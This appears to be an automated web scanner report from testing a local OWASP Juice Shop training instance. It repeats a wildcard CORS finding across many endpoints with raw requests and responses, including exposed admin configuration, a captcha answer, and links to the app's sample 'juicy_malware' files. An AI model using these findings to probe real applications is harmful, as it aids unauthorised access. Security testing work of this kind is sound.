HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Accept-Ranges: bytes

Cache-Control: public, max-age=0

Last-Modified: Mon, 04 Jul 2022 15:18:22 GMT

ETag: W/"a2-181c9ca8630"

Content-Type: application/octet-stream

Content-Length: 162

Date: Fri, 22 Jul 2022 17:26:21 GMT

Connection: close



[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,11
[InternetShortcut]
URL=https://github.com/juice-shop/juicy-malware/raw/master/juicy_malware_macos_64
IDList=





[bookmark: 3979749051711185920]
Cross-origin resource sharing


/ftp/quarantine/juicy_malware_windows_64.exe.url

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request.

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.

If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially retrieve content from the application, and sometimes carry out actions within the security context of the logged in user.


Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by an attacker to exploit the trust relationship and attack the application that allows access. CORS policies on pages containing sensitive information should be reviewed to determine whether it is appropriate for the application to trust both the intentions and security posture of any domains granted access.






Issue remediation




Any inappropriate domains should be removed from the CORS policy.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /ftp/quarantine/juicy_malware_windows_64.exe.url HTTP/1.1

Host: 192.168.186.128:3000

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Upgrade-Insecure-Requests: 1

Referer: http://192.168.186.128:3000/ftp/quarantine

Accept-Language: en-US;q=0.9,en;q=0.8

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Content-Length: 0

Origin: http://192.168.186.128:3000





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Accept-Ranges: bytes

Cache-Control: public, max-age=0

Last-Modified: Mon, 04 Jul 2022 15:18:22 GMT

ETag: W/"a8-181c9ca8630"

Content-Type: application/octet-stream

Content-Length: 168

Date: Fri, 22 Jul 2022 17:26:26 GMT

Connection: close



[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,11
[InternetShortcut]
URL=https://github.com/juice-shop/juicy-malware/raw/master/juicy_malware_windows_64.exe
IDList=





[bookmark: 447784354964448256]
Cross-origin resource sharing


/ftp/suspicious_errors.yml

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request.

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.

If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially retrieve content from the application, and sometimes carry out actions within the security context of the logged in user.


Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by an attacker to exploit the trust relationship and attack the application that allows access. CORS policies on pages containing sensitive information should be reviewed to determine whether it is appropriate for the application to trust both the intentions and security posture of any domains granted access.






Issue remediation




Any inappropriate domains should be removed from the CORS policy.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /ftp/suspicious_errors.yml HTTP/1.1

Host: 192.168.186.128:3000

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Upgrade-Insecure-Requests: 1

Referer: http://192.168.186.128:3000/ftp

Accept-Language: en-US;q=0.9,en;q=0.8

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Content-Length: 0

Origin: http://192.168.186.128:3000





Response:


HTTP/1.1 403 Forbidden

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: text/html; charset=utf-8

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 17:25:34 GMT

Connection: close

Content-Length: 2029



<html>
  <head>
    <meta charset='utf-8'> 
    <title>Error: Only .md and .pdf files are allowed!</title>
    <style>* {
  margin: 0;
  padding: 0;
  outline: 0;
}

body {
  padding: 80px 100px;
  foSnip





[bookmark: 5040404363663049728]
Cross-origin resource sharing


/redirect

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request.

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.

If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially retrieve content from the application, and sometimes carry out actions within the security context of the logged in user.


Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by an attacker to exploit the trust relationship and attack the application that allows access. CORS policies on pages containing sensitive information should be reviewed to determine whether it is appropriate for the application to trust both the intentions and security posture of any domains granted access.






Issue remediation




Any inappropriate domains should be removed from the CORS policy.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /redirect?to=https://github.com/bkimminich/juice-shop HTTP/1.1

Host: 192.168.186.128:3000

Cookie: language=en

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Upgrade-Insecure-Requests: 1

Referer: http://192.168.186.128:3000/

Accept-Language: en-US;q=0.9,en;q=0.8

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Content-Length: 0

Origin: http://192.168.186.128:3000





Response:


HTTP/1.1 302 Found

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Location: https://github.com/bkimminich/juice-shop

Vary: Accept, Accept-Encoding

Content-Type: text/html; charset=utf-8

Content-Length: 124

Date: Fri, 22 Jul 2022 17:26:50 GMT

Connection: close



<p>Found. Redirecting to <a href="https://github.com/bkimminich/juice-shop">https://github.com/bkimminich/juice-shop</a></p>




[bookmark: 8139686324261715968]
Cross-origin resource sharing


/rest/admin/application-configuration

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request.

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.

If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially retrieve content from the application, and sometimes carry out actions within the security context of the logged in user.


Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by an attacker to exploit the trust relationship and attack the application that allows access. CORS policies on pages containing sensitive information should be reviewed to determine whether it is appropriate for the application to trust both the intentions and security posture of any domains granted access.






Issue remediation




Any inappropriate domains should be removed from the CORS policy.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /rest/admin/application-configuration HTTP/1.1

Host: 192.168.186.128:3000

Accept: application/json, text/plain, */*

Referer: http://192.168.186.128:3000/

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: application/json; charset=utf-8

ETag: W/"4967-mk/ZLlN6r2BCMkBVNI+FpR4xKCc"

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 18:25:05 GMT

Connection: close

Content-Length: 18791



{"config":{"server":{"port":3000,"basePath":""},"application":{"domain":"juice-sh.op","name":"OWASP Juice Shop","logo":"JuiceShop_Logo.png","favicon":"favicon_js.ico","theme":"bluegrey-lightgreen","shSnip





[bookmark: 7306306257630732288]
Cross-origin resource sharing


/rest/admin/application-version

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request.

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.

If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially retrieve content from the application, and sometimes carry out actions within the security context of the logged in user.


Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by an attacker to exploit the trust relationship and attack the application that allows access. CORS policies on pages containing sensitive information should be reviewed to determine whether it is appropriate for the application to trust both the intentions and security posture of any domains granted access.






Issue remediation




Any inappropriate domains should be removed from the CORS policy.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /rest/admin/application-version HTTP/1.1

Host: 192.168.186.128:3000

Accept: application/json, text/plain, */*

Referer: http://192.168.186.128:3000/

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: application/json; charset=utf-8

Content-Length: 20

ETag: W/"14-E6e95F0HnHVv0grANjN4u/CmV90"

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 18:34:02 GMT

Connection: close



{"version":"14.1.1"}




[bookmark: 4759311105397743616]
Cross-origin resource sharing


/rest/captcha/

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request.

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.

If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially retrieve content from the application, and sometimes carry out actions within the security context of the logged in user.


Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by an attacker to exploit the trust relationship and attack the application that allows access. CORS policies on pages containing sensitive information should be reviewed to determine whether it is appropriate for the application to trust both the intentions and security posture of any domains granted access.






Issue remediation




Any inappropriate domains should be removed from the CORS policy.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /rest/captcha/ HTTP/1.1

Host: 192.168.186.128:3000

Cookie: language=en

Accept: application/json, text/plain, */*

Referer: http://192.168.186.128:3000/

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Origin: http://192.168.186.128:3000





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: application/json; charset=utf-8

Content-Length: 50

ETag: W/"32-VauxhBkYr8HDKIiInZDFrVO9XEg"

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 19:41:55 GMT

Connection: close



{"captchaId":1354,"captcha":"9+1+5","answer":"15"}




[bookmark: 7990931439789908992]
Cross-origin resource sharing


/rest/continue-code

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request.

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.

If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially retrieve content from the application, and sometimes carry out actions within the security context of the logged in user.


Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by an attacker to exploit the trust relationship and attack the application that allows access. CORS policies on pages containing sensitive information should be reviewed to determine whether it is appropriate for the application to trust both the intentions and security posture of any domains granted access.






Issue remediation




Any inappropriate domains should be removed from the CORS policy.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /rest/continue-code HTTP/1.1

Host: 192.168.186.128:3000

Accept: application/json, text/plain, */*

Referer: http://192.168.186.128:3000/

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Cookie: language=en

Origin: http://192.168.186.128:3000





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: application/json; charset=utf-8

Content-Length: 79

ETag: W/"4f-A9cDEtpEzT6JnkI+PNKU111rEEk"

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 19:18:28 GMT

Connection: close



{"continueCode":"k78OoygKDLrVRwN4jxz2l3d1NUbT3igaHkWSEJGqZMYe6anmE9v1bQ5WJBXP"}




[bookmark: 158695016374246400]
Cross-origin resource sharing


/rest/languages

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request.

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.

If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially retrieve content from the application, and sometimes carry out actions within the security context of the logged in user.


Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by an attacker to exploit the trust relationship and attack the application that allows access. CORS policies on pages containing sensitive information should be reviewed to determine whether it is appropriate for the application to trust both the intentions and security posture of any domains granted access.






Issue remediation




Any inappropriate domains should be removed from the CORS policy.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /rest/languages HTTP/1.1

Host: 192.168.186.128:3000

Accept: application/json, text/plain, */*

Referer: http://192.168.186.128:3000/

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Origin: http://192.168.186.128:3000





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: application/json; charset=utf-8

ETag: W/"11ad-TJkT3i/P3LSnNL8jWkn9DoCXGvE"

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 19:14:55 GMT

Connection: close

Content-Length: 4525



[{"key":"az_AZ","lang":"AzÉ�rbaycanca","icons":["az"],"shortKey":"AZ","percentage":91.58653846153845,"gauge":"full"},{"key":"id_ID","lang":"Bahasa Indonesia","icons":["id"],"shortKey":"ID","percentageSnip





[bookmark: 6641239838589109248]
Cross-origin resource sharing


/rest/memories/

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request.

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.

If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially retrieve content from the application, and sometimes carry out actions within the security context of the logged in user.


Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by an attacker to exploit the trust relationship and attack the application that allows access. CORS policies on pages containing sensitive information should be reviewed to determine whether it is appropriate for the application to trust both the intentions and security posture of any domains granted access.






Issue remediation




Any inappropriate domains should be removed from the CORS policy.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /rest/memories/ HTTP/1.1

Host: 192.168.186.128:3000

Cookie: language=en

Accept: application/json, text/plain, */*

Referer: http://192.168.186.128:3000/

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Origin: http://192.168.186.128:3000





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: application/json; charset=utf-8

ETag: W/"bb2-9E1L4LRWoh3n4KD82E1u0hpAqnw"

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 19:21:17 GMT

Connection: close

Content-Length: 2994



{"status":"success","data":[{"UserId":13,"id":1,"caption":"ð��¼ #zatschi #whoneedsfourlegs","imagePath":"assets/public/images/uploads/ð��¼-#zatschi-#whoneedsfourlegs-1572600969477.jpg","createdAt":"20Snip





[bookmark: 3763537147553945600]
Cross-origin resource sharing


/rest/products/search

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request.

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.

If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially retrieve content from the application, and sometimes carry out actions within the security context of the logged in user.


Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by an attacker to exploit the trust relationship and attack the application that allows access. CORS policies on pages containing sensitive information should be reviewed to determine whether it is appropriate for the application to trust both the intentions and security posture of any domains granted access.






Issue remediation




Any inappropriate domains should be removed from the CORS policy.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /rest/products/search?q= HTTP/1.1

Host: 192.168.186.128:3000

Cookie: language=en

Accept: application/json, text/plain, */*

Referer: http://192.168.186.128:3000/

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Origin: http://192.168.186.128:3000





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: application/json; charset=utf-8

ETag: W/"325f-ZrLJwv10xksEb4BSWSdcv//zz0U"

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 20:54:57 GMT

Connection: close

Content-Length: 12895



{"status":"success","data":[{"id":1,"name":"Apple Juice (1000ml)","description":"The all-time classic.","price":1.99,"deluxePrice":0.99,"image":"apple_juice.jpg","createdAt":"2022-07-22 15:18:52.174 +Snip





[bookmark: 8292726836358678528]
Cross-origin resource sharing


/rest/user/whoami

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request.

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.

If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially retrieve content from the application, and sometimes carry out actions within the security context of the logged in user.


Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by an attacker to exploit the trust relationship and attack the application that allows access. CORS policies on pages containing sensitive information should be reviewed to determine whether it is appropriate for the application to trust both the intentions and security posture of any domains granted access.






Issue remediation




Any inappropriate domains should be removed from the CORS policy.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /rest/user/whoami HTTP/1.1

Host: 192.168.186.128:3000

Cookie: language=en

Accept: application/json, text/plain, */*

Referer: http://192.168.186.128:3000/

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Origin: http://192.168.186.128:3000





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: application/json; charset=utf-8

Content-Length: 11

ETag: W/"b-/5bSboVjVhGw3qRgvUfZjE1r1Ns"

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 20:24:42 GMT

Connection: close



{"user":{}}




[bookmark: 494288632805950464]
Cross-origin resource sharing


/robots.txt

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request.

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.

If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially retrieve content from the application, and sometimes carry out actions within the security context of the logged in user.


Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by an attacker to exploit the trust relationship and attack the application that allows access. CORS policies on pages containing sensitive information should be reviewed to determine whether it is appropriate for the application to trust both the intentions and security posture of any domains granted access.






Issue remediation




Any inappropriate domains should be removed from the CORS policy.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /robots.txt HTTP/1.1

Host: 192.168.186.128:3000

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Origin: http://192.168.186.128:3000





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: text/plain; charset=utf-8

Content-Length: 28

ETag: W/"1c-8HgF6mNyhsSFK0pascC9uB0wjX0"

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 19:16:47 GMT

Connection: close



User-agent: *
Disallow: /ftp




[bookmark: 1697715562876865536]
Cross-origin resource sharing


/snippets

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request.

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.

If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially retrieve content from the application, and sometimes carry out actions within the security context of the logged in user.


Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by an attacker to exploit the trust relationship and attack the application that allows access. CORS policies on pages containing sensitive information should be reviewed to determine whether it is appropriate for the application to trust both the intentions and security posture of any domains granted access.






Issue remediation




Any inappropriate domains should be removed from the CORS policy.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /snippets HTTP/1.1

Host: 192.168.186.128:3000

Cookie: language=en

Accept: application/json, text/plain, */*

Referer: http://192.168.186.128:3000/

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Origin: http://192.168.186.128:3000





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: application/json; charset=utf-8

Content-Length: 683

ETag: W/"2ab-Re576tP7Z9svILzXlrVfeePIUt8"

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 19:38:34 GMT

Connection: close



